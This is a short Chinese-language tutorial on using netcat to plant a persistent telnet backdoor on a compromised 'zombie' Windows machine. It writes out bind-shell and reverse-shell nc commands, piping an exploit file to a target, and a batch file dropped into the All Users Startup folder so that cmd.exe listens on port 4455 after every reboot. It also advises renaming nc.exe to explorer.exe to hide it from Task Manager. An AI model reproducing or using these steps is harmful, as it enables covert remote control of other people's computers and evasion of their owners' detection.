网络安全 频道

如何利用nc命令构建telnet后门控制案例

  nc俗称为网络中的“瑞士军刀”其功能强大,如果在肉鸡上运行“nc.exe –p port –L –d –e cmd.exe”命令就可以构建一个telnet后门,即使关闭了nc.exe程序运行窗口,该后门程序还继续存在。本案例通过一个bat文件来构建一个telnet后门,当系统重新启动后,该后门会继续存在。当然nc还有许多其它用法:

  (1)连接到REMOTE主机,格式:nc -nvv 192.168.x.x 80 ,表示连到192.168.x.x的TCP80端口

  (2)监听LOCAL主机,格式:nc -l -p 80 ,表示监听本机的TCP80端口

  (3)扫描远程主机,格式:nc -nvv -w2 -z 192.168.x.x 80-445,表示扫描192.168.x.x的TCP80到TCP445的所有端口

  (4)REMOTE主机绑定SHELL,格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe,表示绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

  (5)REMOTE主机绑定SHELL并反向连接, 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口。

  (6)作攻击程序用,格式:

  type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

  nc -nvv 192.168.x.x80

  连接到192.168.x.x的80端口,并在其管道中发送'c:\ex ploit.txt'的内容

  (7)作蜜罐用,格式:nc -L -p 80 讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止;格式:nc -L -p 80>c:\log.txt 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把'& gt;' 改为'>>'即可以追加日志 附:'c:\log.txt'为日志等

  下面主要介绍如何通过nc批处理命令来构建一个telnet类型的后门:

  1.编辑一个bat文件。

  在IP地址为192.168.1.19的计算机上新建一个bat文件,取名为“1.bat”,在其中输入以下内容,如图1所示。

  @

  @ start

  @c:\nc.exe –p 4455 –L –d –e cmd.exe

  @exit

  2.将1.bat复制到“All user”的启动文件夹。

  将“1.bat”文件复制到“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”文件夹下             3.等待重启后使用telnet连接肉鸡ip。

  重启计算机后,用户进入计算机后,会执行“1.bat”脚本,会启动nc程序从而开启4455端口。在本地使用命令“telnet 192.168.1.19 4455”连接IP地址192.168.1.19 的计算机的4455端口,可以通过telnet连接肉鸡并在肉鸡上执行各种命令。

   技巧

  可以将nc.exe文件重新命名为其他文件,例如explorer.exe等,这样在任务管理器中看到的nc.exe变成了explorer.exe了,不容易被发觉,而nc命令中加入“-L -d”后即使关闭了nc监听窗口,该命令行还继续存在。

  小结

  本案例通过编写bat批处理文件,并将该bat文件放入“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”文件夹下,则无论那个用户登陆,都会启动该bat文件,从而保留nc的telnet后门,该后门只要知道端口,通过telnet程序可以直接连接。

1
相关文章